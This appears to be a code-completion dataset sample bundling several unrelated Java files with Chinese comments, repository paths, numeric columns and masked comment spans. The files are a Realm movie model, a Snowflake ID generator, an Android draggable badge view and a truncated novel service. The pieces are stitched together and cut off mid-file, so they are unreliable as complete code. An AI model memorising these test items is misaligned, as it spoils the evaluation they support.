getDoubanScore() { return doubanScore; } public void setDoubanScore(String doubanScore) { this.doubanScore = doubanScore; } public String getImdbIntro() { return imdbIntro; } public void setImdbIntro(String imdbIntro) { this.imdbIntro = imdbIntro; } public String getImdbUrl() { return imdbUrl; } public void setImdbUrl(String imdbUrl) { this.imdbUrl = imdbUrl; } public String getDoubanIntro() { return doubanIntro; } public void setDoubanIntro(String doubanIntro) { this.doubanIntro = doubanIntro; } public String getDoubanUrl() { return doubanUrl; } public void setDoubanUrl(String doubanUrl) { this.doubanUrl = doubanUrl; } public String getFileFormat() { return fileFormat; } public void setFileFormat(String fileFormat) { this.fileFormat = fileFormat; } public String getFileSize() { return fileSize; } public void setFileSize(String fileSize) { this.fileSize = fileSize; } public String getFileAmounts() { return fileAmounts; } public void setFileAmounts(String fileAmounts) { this.fileAmounts = fileAmounts; } public String getFileLength() { return fileLength; } public void setFileLength(String fileLength) { this.fileLength = fileLength; } public String getDirector() { return director; } public void setDirector(String director) { this.director = director; } public String getPerformer() { return performer; } public void setPerformer(String performer) { this.performer = performer; } public String getIntro() { return intro; } public void setIntro(String intro) { this.intro = intro; } public String getAwards() { return awards; } public void setAwards(String awards) { this.awards = awards; } public String getEpisodes() { return episodes; } public void setEpisodes(String episodes) { this.episodes = episodes; } public String getLinks() { return links; } public void setLinks(String links) { this.links = links; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } public long getTime() { return time; } public void setTime(long time) { this.time = time; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getCategory() { return category; } public void setCategory(String category) { this.category = category; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getDate() { return date; } public void setDate(String date) { this.date = date; } public String getAuthor() { return author; } public void setAuthor(String author) { this.author = author; } }
123lxw123/VideoWorld_Android
app/src/main/java/com/lxw/videoworld/app/model/SourceDetailModel.java
1,675
// 清晰度
line_comment
zh-cn
package com.lxw.videoworld.app.model; import java.io.Serializable; import io.realm.RealmObject; import io.realm.annotations.PrimaryKey; /** * Created by lxw9047 on 2017/5/3. */ public class SourceDetailModel extends RealmObject implements Serializable { @PrimaryKey private String url; private String sourceType; private String id; private String category;// 一级分类 private String type;// 二级分类 private String title; private String images; private String content;// 详情信息 private String name;// 名字 private String translateName;// 译名 private String year;// 年份 private String area;// 国家、地区 private String style;// 详情里的分类 private String language;// 语言 private String subtitles;// 字幕语言 private String releaseDate;// 首映日期 private String imdbScore; private String imdbIntro; private String imdbUrl; private String doubanScore;// 豆瓣评分 private String doubanIntro;// 豆瓣评分说明 private String doubanUrl;// 豆瓣评分地址 private String fileFormat;// 文件格式 private String fileSize;// 清晰 <SUF> private String fileAmounts;// 张数 1 CD private String fileLength;// 时长 private String author;// 编剧 private String director;// 导演 private String performer;// 主演 private String intro;// 简介 private String awards;// 获奖情况 private String episodes;// 集数 private String links;// 下载链接 private String date;// 网站更新时间 private String status; private long time;// 数据库时间 public String getUrl() { return url; } public void setUrl(String url) { this.url = url; } public String getSourceType() { return sourceType; } public void setSourceType(String sourceType) { this.sourceType = sourceType; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getImages() { return images; } public void setImages(String images) { this.images = images; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getTranslateName() { return translateName; } public void setTranslateName(String translateName) { this.translateName = translateName; } public String getYear() { return year; } public void setYear(String year) { this.year = year; } public String getArea() { return area; } public void setArea(String area) { this.area = area; } public String getStyle() { return style; } public void setStyle(String style) { this.style = style; } public String getLanguage() { return language; } public void setLanguage(String language) { this.language = language; } public String getSubtitles() { return subtitles; } public void setSubtitles(String subtitles) { this.subtitles = subtitles; } public String getReleaseDate() { return releaseDate; } public void setReleaseDate(String releaseDate) { this.releaseDate = releaseDate; } public String getImdbScore() { return imdbScore; } public void setImdbScore(String imdbScore) { this.imdbScore = imdbScore; } public String getDoubanScore() { return doubanScore; } public void setDoubanScore(String doubanScore) { this.doubanScore = doubanScore; } public String getImdbIntro() { return imdbIntro; } public void setImdbIntro(String imdbIntro) { this.imdbIntro = imdbIntro; } public String getImdbUrl() { return imdbUrl; } public void setImdbUrl(String imdbUrl) { this.imdbUrl = imdbUrl; } public String getDoubanIntro() { return doubanIntro; } public void setDoubanIntro(String doubanIntro) { this.doubanIntro = doubanIntro; } public String getDoubanUrl() { return doubanUrl; } public void setDoubanUrl(String doubanUrl) { this.doubanUrl = doubanUrl; } public String getFileFormat() { return fileFormat; } public void setFileFormat(String fileFormat) { this.fileFormat = fileFormat; } public String getFileSize() { return fileSize; } public void setFileSize(String fileSize) { this.fileSize = fileSize; } public String getFileAmounts() { return fileAmounts; } public void setFileAmounts(String fileAmounts) { this.fileAmounts = fileAmounts; } public String getFileLength() { return fileLength; } public void setFileLength(String fileLength) { this.fileLength = fileLength; } public String getDirector() { return director; } public void setDirector(String director) { this.director = director; } public String getPerformer() { return performer; } public void setPerformer(String performer) { this.performer = performer; } public String getIntro() { return intro; } public void setIntro(String intro) { this.intro = intro; } public String getAwards() { return awards; } public void setAwards(String awards) { this.awards = awards; } public String getEpisodes() { return episodes; } public void setEpisodes(String episodes) { this.episodes = episodes; } public String getLinks() { return links; } public void setLinks(String links) { this.links = links; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } public long getTime() { return time; } public void setTime(long time) { this.time = time; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getCategory() { return category; } public void setCategory(String category) { this.category = category; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getDate() { return date; } public void setDate(String date) { this.date = date; } public String getAuthor() { return author; } public void setAuthor(String author) { this.author = author; } }
0
1,576
5
1,675
6
1,832
4
1,675
6
2,163
7
false
false
false
false
false
true
62351_14
package com.teach.commons; import java.text.SimpleDateFormat; /** * 分布式Id算法 * 雪花数 * Twitter_Snowflake<br> * SnowFlake的结构如下(每部分用-分开):<br> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 <br> * 1位标识,由于long基本类型在Java中是带符号的,最高位是符号位,正数是0,负数是1,所以id一般是正数,最高位是0<br> * 41位时间截(毫秒级),注意,41位时间截不是存储当前时间的时间截,而是存储时间截的差值(当前时间截 - 开始时间截) * 得到的值),这里的的开始时间截,一般是我们的id生成器开始使用的时间,由我们程序来指定的(如下下面程序IdWorker类的startTime属性)。41位的时间截,可以使用69年,年T = (1L << 41) / (1000L * 60 * 60 * 24 * 365) = 69<br> * 10位的数据机器位,可以部署在1024个节点,包括5位datacenterId和5位workerId<br> * 12位序列,毫秒内的计数,12位的计数顺序号支持每个节点每毫秒(同一机器,同一时间截)产生4096个ID序号<br> * 加起来刚好64位,为一个Long型。<br> * SnowFlake的优点是,整体上按照时间自增排序,并且整个分布式系统内不会产生ID碰撞(由数据中心ID和机器ID作区分),并且效率较高,经测试,SnowFlake每秒能够产生26万ID左右。 * @author J.L.Zhou * */ public class SnowflakeId { /** * 开始的时间戳 */ private static long TIME_START; /** * 当前时间戳 */ private long time; /** * 上一次获取的时间戳 */ private long timeOld; /** * 数据中心编号 */ private long centerId; /** * 工作节点编号 */ private long workerId; /** * 毫秒内的计数器 */ private long index = 0; static{ try{ TIME_START = new SimpleDateFormat("yyyy-MM-dd").parse("2018-09-1").getTime(); }catch(Exception ex){ ex.printStackTrace(); System.exit(0); } } /** * * @param centerId 数据中心编号 * @param workerId 工作节点编号 */ public SnowflakeId(long centerId, long workerId) { super(); if(centerId>=32){ throw new RuntimeException("数据中心编号不能大于32"); } if(workerId>=32){ throw new RuntimeException("工作节点编号不能大于32"); } this.centerId = centerId; this.workerId = workerId; } public long nextId(){ time = System.currentTimeMillis(); if(time==timeOld){ ++index; if(index>=4096){ time = getNextTime(); index = 0L; } }else{ index = 0L; } timeOld = time; //1 41 5 5 12 // System.out.println(Long.toBinaryString((time-TIME_START))); // System.out.println(Long.toBinaryString((time-TIME_START)<<22)); // System.out.println(Long.toBinaryString(centerId)); // System.out.println(Long.toBinaryString(centerId<<17)); return (time-TIME_START)<<22 | centerId<<17 | workerId<<12 | index; } /** * 获取下一毫秒,(本毫秒内计数器已经用完了) * @return */ public synchronized long getNextTime(){ while(time==System.currentTimeMillis()){ } return System.currentTimeMillis(); } private static SnowflakeId id = new SnowflakeId(0, 0); /** * 获取0号机房第0台电脑的雪花数生产对象来生产ID * @return */ public static long next(){ return id.nextId(); } public static void main(String[] args) { SnowflakeId id = new SnowflakeId(1,2); long time = System.currentTimeMillis(); for(int i=0;i<1;i++){ long l = id.nextId(); System.out.println(l); System.out.println(Long.toBinaryString(l)+"\t"+l); } System.out.println(System.currentTimeMillis()-time); System.out.println("11000111101101011110001001".length()); } }
1252652974/com.ll.rwshopping
src/com/teach/commons/SnowflakeId.java
1,334
/** * 获取0号机房第0台电脑的雪花数生产对象来生产ID * @return */
block_comment
zh-cn
package com.teach.commons; import java.text.SimpleDateFormat; /** * 分布式Id算法 * 雪花数 * Twitter_Snowflake<br> * SnowFlake的结构如下(每部分用-分开):<br> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 <br> * 1位标识,由于long基本类型在Java中是带符号的,最高位是符号位,正数是0,负数是1,所以id一般是正数,最高位是0<br> * 41位时间截(毫秒级),注意,41位时间截不是存储当前时间的时间截,而是存储时间截的差值(当前时间截 - 开始时间截) * 得到的值),这里的的开始时间截,一般是我们的id生成器开始使用的时间,由我们程序来指定的(如下下面程序IdWorker类的startTime属性)。41位的时间截,可以使用69年,年T = (1L << 41) / (1000L * 60 * 60 * 24 * 365) = 69<br> * 10位的数据机器位,可以部署在1024个节点,包括5位datacenterId和5位workerId<br> * 12位序列,毫秒内的计数,12位的计数顺序号支持每个节点每毫秒(同一机器,同一时间截)产生4096个ID序号<br> * 加起来刚好64位,为一个Long型。<br> * SnowFlake的优点是,整体上按照时间自增排序,并且整个分布式系统内不会产生ID碰撞(由数据中心ID和机器ID作区分),并且效率较高,经测试,SnowFlake每秒能够产生26万ID左右。 * @author J.L.Zhou * */ public class SnowflakeId { /** * 开始的时间戳 */ private static long TIME_START; /** * 当前时间戳 */ private long time; /** * 上一次获取的时间戳 */ private long timeOld; /** * 数据中心编号 */ private long centerId; /** * 工作节点编号 */ private long workerId; /** * 毫秒内的计数器 */ private long index = 0; static{ try{ TIME_START = new SimpleDateFormat("yyyy-MM-dd").parse("2018-09-1").getTime(); }catch(Exception ex){ ex.printStackTrace(); System.exit(0); } } /** * * @param centerId 数据中心编号 * @param workerId 工作节点编号 */ public SnowflakeId(long centerId, long workerId) { super(); if(centerId>=32){ throw new RuntimeException("数据中心编号不能大于32"); } if(workerId>=32){ throw new RuntimeException("工作节点编号不能大于32"); } this.centerId = centerId; this.workerId = workerId; } public long nextId(){ time = System.currentTimeMillis(); if(time==timeOld){ ++index; if(index>=4096){ time = getNextTime(); index = 0L; } }else{ index = 0L; } timeOld = time; //1 41 5 5 12 // System.out.println(Long.toBinaryString((time-TIME_START))); // System.out.println(Long.toBinaryString((time-TIME_START)<<22)); // System.out.println(Long.toBinaryString(centerId)); // System.out.println(Long.toBinaryString(centerId<<17)); return (time-TIME_START)<<22 | centerId<<17 | workerId<<12 | index; } /** * 获取下一毫秒,(本毫秒内计数器已经用完了) * @return */ public synchronized long getNextTime(){ while(time==System.currentTimeMillis()){ } return System.currentTimeMillis(); } private static SnowflakeId id = new SnowflakeId(0, 0); /** * 获取0 <SUF>*/ public static long next(){ return id.nextId(); } public static void main(String[] args) { SnowflakeId id = new SnowflakeId(1,2); long time = System.currentTimeMillis(); for(int i=0;i<1;i++){ long l = id.nextId(); System.out.println(l); System.out.println(Long.toBinaryString(l)+"\t"+l); } System.out.println(System.currentTimeMillis()-time); System.out.println("11000111101101011110001001".length()); } }
0
1,158
28
1,334
29
1,344
29
1,334
29
1,744
42
false
false
false
false
false
true
54281_6
package com.rongseal.widget; import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.animation.AnimatorSet; import android.animation.ValueAnimator; import android.animation.ValueAnimator.AnimatorUpdateListener; import android.annotation.SuppressLint; import android.content.Context; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.graphics.Path; import android.graphics.drawable.GradientDrawable; import android.graphics.drawable.StateListDrawable; import android.support.v4.view.ViewPager; import android.util.AttributeSet; import android.util.Log; import android.view.Gravity; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import android.view.ViewTreeObserver.OnPreDrawListener; import android.view.animation.LinearInterpolator; import android.view.animation.OvershootInterpolator; import android.widget.AbsListView; import android.widget.ScrollView; import android.widget.TextView; public class DragPointView extends TextView { private boolean initBgFlag; private OnDragListencer dragListencer; private int backgroundColor = Color.RED; private PointView pointView; private int x, y, r; private ViewGroup scrollParent; private int[] p = new int[2]; public DragPointView(Context context, AttributeSet attrs) { super(context, attrs); initbg(); } public OnDragListencer getDragListencer() { return dragListencer; } public void setDragListencer(OnDragListencer dragListencer) { this.dragListencer = dragListencer; } public int getBackgroundColor() { return backgroundColor; } @Override protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { super.onMeasure(widthMeasureSpec, heightMeasureSpec); int w = getMeasuredWidth(); int h = getMeasuredHeight(); if (w != h) { // 简单的将宽高搞成一样的,如果有更好的方法欢迎在我博客下方留言! int x = Math.max(w, h); setMeasuredDimension(x, x); } } @SuppressWarnings("deprecation") public void setBackgroundColor(int backgroundColor) { this.backgroundColor = backgroundColor; DragPointView.this.setBackgroundDrawable(createStateListDrawable((getHeight() > getWidth() ? getHeight() : getWidth()) / 2, backgroundColor)); } private void initbg() { setGravity(Gravity.CENTER); getViewTreeObserver().addOnPreDrawListener(new OnPreDrawListener() { @SuppressWarnings("deprecation") @Override public boolean onPreDraw() { if (!initBgFlag) { DragPointView.this.setBackgroundDrawable(createStateListDrawable( (getHeight() > getWidth() ? getHeight() : getWidth()) / 2, backgroundColor)); initBgFlag = true; return false; } return true; } }); } @SuppressLint("ClickableViewAccessibility") @Override public boolean onTouchEvent(MotionEvent event) { View root = getRootView(); if (root == null || !(root instanceof ViewGroup)) { return false; } switch (event.getAction()) { case MotionEvent.ACTION_DOWN: root.getLocationOnScreen(p); scrollParent = getScrollParent(); if (scrollParent != null) { scrollParent.requestDisallowInterceptTouchEvent(true); } int location[] = new int[2]; getLocationOnScreen(location); x = location[0] + (getWidth() / 2) - p[0]; y = location[1] + (getHeight() / 2) - p[1]; r = (getWidth() + getHeight()) / 4; pointView = new PointView(getContext()); pointView.setLayoutParams(new ViewGroup.LayoutParams(root.getWidth(), root.getHeight())); setDrawingCacheEnabled(true); pointView.catchBitmap = getDrawingCache(); pointView.setLocation(x, y, r, event.getRawX() - p[0], event.getRawY() - p[1]); ((ViewGroup) root).addView(pointView); setVisibility(View.INVISIBLE); break; case MotionEvent.ACTION_MOVE: pointView.refrashXY(event.getRawX() - p[0], event.getRawY() - p[1]); break; case MotionEvent.ACTION_CANCEL: case MotionEvent.ACTION_UP: if (scrollParent != null) { scrollParent.requestDisallowInterceptTouchEvent(false); } if (!pointView.broken) { // 没有拉断 pointView.cancel(); } else if (pointView.nearby) {// 拉断了,但是又回去了 pointView.cancel(); } else { // 彻底拉断了 pointView.broken(); } break; default: break; } return true; } private ViewGroup getScrollParent() { View p = this; while (true) { View v; try { v = (View) p.getParent(); } catch (ClassCastException e) { return null; } if (v == null) return null; if (v instanceof AbsListView || v instanceof ScrollView || v instanceof ViewPager) { return (ViewGroup) v; } p = v; } } public interface OnDragListencer { public void onDragOut(); } class PointView extends View { private Bitmap catchBitmap; private Circle c1; private Circle c2; private Paint paint; private Path path = new Path(); private int maxDistance = 10; // 10倍半径距离视为拉断 private boolean broken; // 是否拉断过 private boolean out; // 放手的时候是否拉断 private boolean nearby; private int brokenProgress; public PointView(Context context) { super(context); init(); } public void init() { paint = new Paint(); paint.setColor(backgroundColor); paint.setAntiAlias(true); } public void setLocation(float c1X, float c1Y, float r, float endX, float endY) { broken = false; c1 = new Circle(c1X, c1Y, r); c2 = new Circle(endX, endY, r); } public void refrashXY(float x, float y) { c2.x = x; c2.y = y; // 以前的半径应该根据距离缩小点了 // 计算出距离 double distance = c1.getDistance(c2); int rate = 10; c1.r = (float) ((c2.r * c2.r * rate) / (distance + (c2.r * rate))); Log.i("info", "c1: " + c1.r); invalidate(); } @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); canvas.drawColor(Color.TRANSPARENT); if (out) { float dr = c2.r / 2 + c2.r * 4 * (brokenProgress / 100f); Log.i("info", "dr" + dr); canvas.drawCircle(c2.x, c2.y, c2.r / (brokenProgress + 1), paint); canvas.drawCircle(c2.x - dr, c2.y - dr, c2.r / (brokenProgress + 2), paint); canvas.drawCircle(c2.x + dr, c2.y - dr, c2.r / (brokenProgress + 2), paint); canvas.drawCircle(c2.x - dr, c2.y + dr, c2.r / (brokenProgress + 2), paint); canvas.drawCircle(c2.x + dr, c2.y + dr, c2.r / (brokenProgress + 2), paint); } else { // 绘制手指跟踪的圆形 canvas.drawBitmap(catchBitmap, c2.x - c2.r, c2.y - c2.r, paint); path.reset(); float deltaX = c2.x - c1.x; float deltaY = -(c2.y - c1.y); double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY); double sin = deltaY / distance; double cos = deltaX / distance; nearby = distance < c2.r * maxDistance; if (nearby && !broken) { canvas.drawCircle(c1.x, c1.y, c1.r, paint); path.moveTo((float) (c1.x - c1.r * sin), (float) (c1.y - c1.r * cos)); path.lineTo((float) (c1.x + c1.r * sin), (float) (c1.y + c1.r * cos)); path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c2.x + c2.r * sin), (float) (c2.y + c2.r * cos)); path.lineTo((float) (c2.x - c2.r * sin), (float) (c2.y - c2.r * cos)); path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c1.x - c1.r * sin), (float) (c1.y - c1.r * cos)); canvas.drawPath(path, paint); } else { broken = true; // 已经拉断了 } } } public void cancel() { int duration = 150; AnimatorSet set = new AnimatorSet(); ValueAnimator animx = ValueAnimator.ofFloat(c2.x, c1.x); animx.setDuration(duration); animx.setInterpolator(new OvershootInterpolator(2)); animx.addUpdateListener(new AnimatorUpdateListener() { @Override public void onAnimationUpdate(ValueAnimator animation) { c2.x = (float) animation.getAnimatedValue(); invalidate(); } }); ValueAnimator animy = ValueAnimator.ofFloat(c2.y, c1.y); animy.setDuration(duration); animy.setInterpolator(new OvershootInterpolator(2)); animy.addUpdateListener(new AnimatorUpdateListener() { @Override public void onAnimationUpdate(ValueAnimator animation) { c2.y = (float) animation.getAnimatedValue(); invalidate(); } }); set.playTogether(animx, animy); set.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { ViewGroup vg = (ViewGroup) PointView.this.getParent(); vg.removeView(PointView.this); DragPointView.this.setVisibility(View.VISIBLE); } }); set.start(); } public void broken() { out = true; int duration = 500; ValueAnimator a = ValueAnimator.ofInt(0, 100); a.setDuration(duration); a.setInterpolator(new LinearInterpolator()); a.addUpdateListener(new AnimatorUpdateListener() { @Override public void onAnimationUpdate(ValueAnimator animation) { brokenProgress = (int) animation.getAnimatedValue(); invalidate(); } }); a.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { ViewGroup vg = (ViewGroup) PointView.this.getParent(); vg.removeView(PointView.this); } }); a.start(); if (dragListencer != null) { dragListencer.onDragOut(); } } class Circle { float x; float y; float r; public Circle(float x, float y, float r) { this.x = x; this.y = y; this.r = r; } public double getDistance(Circle c) { float deltaX = x - c.x; float deltaY = y - c.y; double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY); return distance; } } } /** * @param radius 圆角角度 * @param color 填充颜色 * @return StateListDrawable 对象 * @author zy */ public static StateListDrawable createStateListDrawable(int radius, int color) { StateListDrawable bg = new StateListDrawable(); GradientDrawable gradientStateNormal = new GradientDrawable(); gradientStateNormal.setColor(color); gradientStateNormal.setShape(GradientDrawable.RECTANGLE); gradientStateNormal.setCornerRadius(radius); gradientStateNormal.setStroke(0, 0); bg.addState(View.EMPTY_STATE_SET, gradientStateNormal); return bg; } }
13120241790/SeaStar
SeaStar/app/src/main/java/com/rongseal/widget/DragPointView.java
3,106
// 放手的时候是否拉断
line_comment
zh-cn
package com.rongseal.widget; import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.animation.AnimatorSet; import android.animation.ValueAnimator; import android.animation.ValueAnimator.AnimatorUpdateListener; import android.annotation.SuppressLint; import android.content.Context; import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.graphics.Path; import android.graphics.drawable.GradientDrawable; import android.graphics.drawable.StateListDrawable; import android.support.v4.view.ViewPager; import android.util.AttributeSet; import android.util.Log; import android.view.Gravity; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import android.view.ViewTreeObserver.OnPreDrawListener; import android.view.animation.LinearInterpolator; import android.view.animation.OvershootInterpolator; import android.widget.AbsListView; import android.widget.ScrollView; import android.widget.TextView; public class DragPointView extends TextView { private boolean initBgFlag; private OnDragListencer dragListencer; private int backgroundColor = Color.RED; private PointView pointView; private int x, y, r; private ViewGroup scrollParent; private int[] p = new int[2]; public DragPointView(Context context, AttributeSet attrs) { super(context, attrs); initbg(); } public OnDragListencer getDragListencer() { return dragListencer; } public void setDragListencer(OnDragListencer dragListencer) { this.dragListencer = dragListencer; } public int getBackgroundColor() { return backgroundColor; } @Override protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { super.onMeasure(widthMeasureSpec, heightMeasureSpec); int w = getMeasuredWidth(); int h = getMeasuredHeight(); if (w != h) { // 简单的将宽高搞成一样的,如果有更好的方法欢迎在我博客下方留言! int x = Math.max(w, h); setMeasuredDimension(x, x); } } @SuppressWarnings("deprecation") public void setBackgroundColor(int backgroundColor) { this.backgroundColor = backgroundColor; DragPointView.this.setBackgroundDrawable(createStateListDrawable((getHeight() > getWidth() ? getHeight() : getWidth()) / 2, backgroundColor)); } private void initbg() { setGravity(Gravity.CENTER); getViewTreeObserver().addOnPreDrawListener(new OnPreDrawListener() { @SuppressWarnings("deprecation") @Override public boolean onPreDraw() { if (!initBgFlag) { DragPointView.this.setBackgroundDrawable(createStateListDrawable( (getHeight() > getWidth() ? getHeight() : getWidth()) / 2, backgroundColor)); initBgFlag = true; return false; } return true; } }); } @SuppressLint("ClickableViewAccessibility") @Override public boolean onTouchEvent(MotionEvent event) { View root = getRootView(); if (root == null || !(root instanceof ViewGroup)) { return false; } switch (event.getAction()) { case MotionEvent.ACTION_DOWN: root.getLocationOnScreen(p); scrollParent = getScrollParent(); if (scrollParent != null) { scrollParent.requestDisallowInterceptTouchEvent(true); } int location[] = new int[2]; getLocationOnScreen(location); x = location[0] + (getWidth() / 2) - p[0]; y = location[1] + (getHeight() / 2) - p[1]; r = (getWidth() + getHeight()) / 4; pointView = new PointView(getContext()); pointView.setLayoutParams(new ViewGroup.LayoutParams(root.getWidth(), root.getHeight())); setDrawingCacheEnabled(true); pointView.catchBitmap = getDrawingCache(); pointView.setLocation(x, y, r, event.getRawX() - p[0], event.getRawY() - p[1]); ((ViewGroup) root).addView(pointView); setVisibility(View.INVISIBLE); break; case MotionEvent.ACTION_MOVE: pointView.refrashXY(event.getRawX() - p[0], event.getRawY() - p[1]); break; case MotionEvent.ACTION_CANCEL: case MotionEvent.ACTION_UP: if (scrollParent != null) { scrollParent.requestDisallowInterceptTouchEvent(false); } if (!pointView.broken) { // 没有拉断 pointView.cancel(); } else if (pointView.nearby) {// 拉断了,但是又回去了 pointView.cancel(); } else { // 彻底拉断了 pointView.broken(); } break; default: break; } return true; } private ViewGroup getScrollParent() { View p = this; while (true) { View v; try { v = (View) p.getParent(); } catch (ClassCastException e) { return null; } if (v == null) return null; if (v instanceof AbsListView || v instanceof ScrollView || v instanceof ViewPager) { return (ViewGroup) v; } p = v; } } public interface OnDragListencer { public void onDragOut(); } class PointView extends View { private Bitmap catchBitmap; private Circle c1; private Circle c2; private Paint paint; private Path path = new Path(); private int maxDistance = 10; // 10倍半径距离视为拉断 private boolean broken; // 是否拉断过 private boolean out; // 放手 <SUF> private boolean nearby; private int brokenProgress; public PointView(Context context) { super(context); init(); } public void init() { paint = new Paint(); paint.setColor(backgroundColor); paint.setAntiAlias(true); } public void setLocation(float c1X, float c1Y, float r, float endX, float endY) { broken = false; c1 = new Circle(c1X, c1Y, r); c2 = new Circle(endX, endY, r); } public void refrashXY(float x, float y) { c2.x = x; c2.y = y; // 以前的半径应该根据距离缩小点了 // 计算出距离 double distance = c1.getDistance(c2); int rate = 10; c1.r = (float) ((c2.r * c2.r * rate) / (distance + (c2.r * rate))); Log.i("info", "c1: " + c1.r); invalidate(); } @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); canvas.drawColor(Color.TRANSPARENT); if (out) { float dr = c2.r / 2 + c2.r * 4 * (brokenProgress / 100f); Log.i("info", "dr" + dr); canvas.drawCircle(c2.x, c2.y, c2.r / (brokenProgress + 1), paint); canvas.drawCircle(c2.x - dr, c2.y - dr, c2.r / (brokenProgress + 2), paint); canvas.drawCircle(c2.x + dr, c2.y - dr, c2.r / (brokenProgress + 2), paint); canvas.drawCircle(c2.x - dr, c2.y + dr, c2.r / (brokenProgress + 2), paint); canvas.drawCircle(c2.x + dr, c2.y + dr, c2.r / (brokenProgress + 2), paint); } else { // 绘制手指跟踪的圆形 canvas.drawBitmap(catchBitmap, c2.x - c2.r, c2.y - c2.r, paint); path.reset(); float deltaX = c2.x - c1.x; float deltaY = -(c2.y - c1.y); double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY); double sin = deltaY / distance; double cos = deltaX / distance; nearby = distance < c2.r * maxDistance; if (nearby && !broken) { canvas.drawCircle(c1.x, c1.y, c1.r, paint); path.moveTo((float) (c1.x - c1.r * sin), (float) (c1.y - c1.r * cos)); path.lineTo((float) (c1.x + c1.r * sin), (float) (c1.y + c1.r * cos)); path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c2.x + c2.r * sin), (float) (c2.y + c2.r * cos)); path.lineTo((float) (c2.x - c2.r * sin), (float) (c2.y - c2.r * cos)); path.quadTo((c1.x + c2.x) / 2, (c1.y + c2.y) / 2, (float) (c1.x - c1.r * sin), (float) (c1.y - c1.r * cos)); canvas.drawPath(path, paint); } else { broken = true; // 已经拉断了 } } } public void cancel() { int duration = 150; AnimatorSet set = new AnimatorSet(); ValueAnimator animx = ValueAnimator.ofFloat(c2.x, c1.x); animx.setDuration(duration); animx.setInterpolator(new OvershootInterpolator(2)); animx.addUpdateListener(new AnimatorUpdateListener() { @Override public void onAnimationUpdate(ValueAnimator animation) { c2.x = (float) animation.getAnimatedValue(); invalidate(); } }); ValueAnimator animy = ValueAnimator.ofFloat(c2.y, c1.y); animy.setDuration(duration); animy.setInterpolator(new OvershootInterpolator(2)); animy.addUpdateListener(new AnimatorUpdateListener() { @Override public void onAnimationUpdate(ValueAnimator animation) { c2.y = (float) animation.getAnimatedValue(); invalidate(); } }); set.playTogether(animx, animy); set.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { ViewGroup vg = (ViewGroup) PointView.this.getParent(); vg.removeView(PointView.this); DragPointView.this.setVisibility(View.VISIBLE); } }); set.start(); } public void broken() { out = true; int duration = 500; ValueAnimator a = ValueAnimator.ofInt(0, 100); a.setDuration(duration); a.setInterpolator(new LinearInterpolator()); a.addUpdateListener(new AnimatorUpdateListener() { @Override public void onAnimationUpdate(ValueAnimator animation) { brokenProgress = (int) animation.getAnimatedValue(); invalidate(); } }); a.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { ViewGroup vg = (ViewGroup) PointView.this.getParent(); vg.removeView(PointView.this); } }); a.start(); if (dragListencer != null) { dragListencer.onDragOut(); } } class Circle { float x; float y; float r; public Circle(float x, float y, float r) { this.x = x; this.y = y; this.r = r; } public double getDistance(Circle c) { float deltaX = x - c.x; float deltaY = y - c.y; double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY); return distance; } } } /** * @param radius 圆角角度 * @param color 填充颜色 * @return StateListDrawable 对象 * @author zy */ public static StateListDrawable createStateListDrawable(int radius, int color) { StateListDrawable bg = new StateListDrawable(); GradientDrawable gradientStateNormal = new GradientDrawable(); gradientStateNormal.setColor(color); gradientStateNormal.setShape(GradientDrawable.RECTANGLE); gradientStateNormal.setCornerRadius(radius); gradientStateNormal.setStroke(0, 0); bg.addState(View.EMPTY_STATE_SET, gradientStateNormal); return bg; } }
0
2,711
9
3,083
9
3,270
8
3,080
9
3,696
12
false
false
false
false
false
true
30932_1
package com.novel.service.impl; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.Set; import javax.servlet.http.HttpServletRequest; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Service; import com.alibaba.fastjson.JSON; import com.github.pagehelper.PageHelper; import com.github.pagehelper.PageInfo; import com.novel.bean.Chapter; import com.novel.bean.ChapterExample; import com.novel.bean.Content; import com.novel.bean.ContentExample; import com.novel.bean.ContentKey; import com.novel.bean.Message; import com.novel.bean.Novel; import com.novel.bean.NovelExample; import com.novel.bean.NovelExample.Criteria; import com.novel.bean.Report; import com.novel.bean.User; import com.novel.mapper.ChapterMapper; import com.novel.mapper.ContentMapper; import com.novel.mapper.NovelMapper; import com.novel.redis.RedisClient; import com.novel.service.MessageService; import com.novel.service.NovelLowerService; import com.novel.service.NovelService; import com.novel.service.ReportService; import com.novel.until.Msg; import redis.clients.jedis.JedisPool; @Service public class NovelServiceimpl implements NovelService { @Value("${Recommend}") private String Recommend; @Autowired private NovelMapper 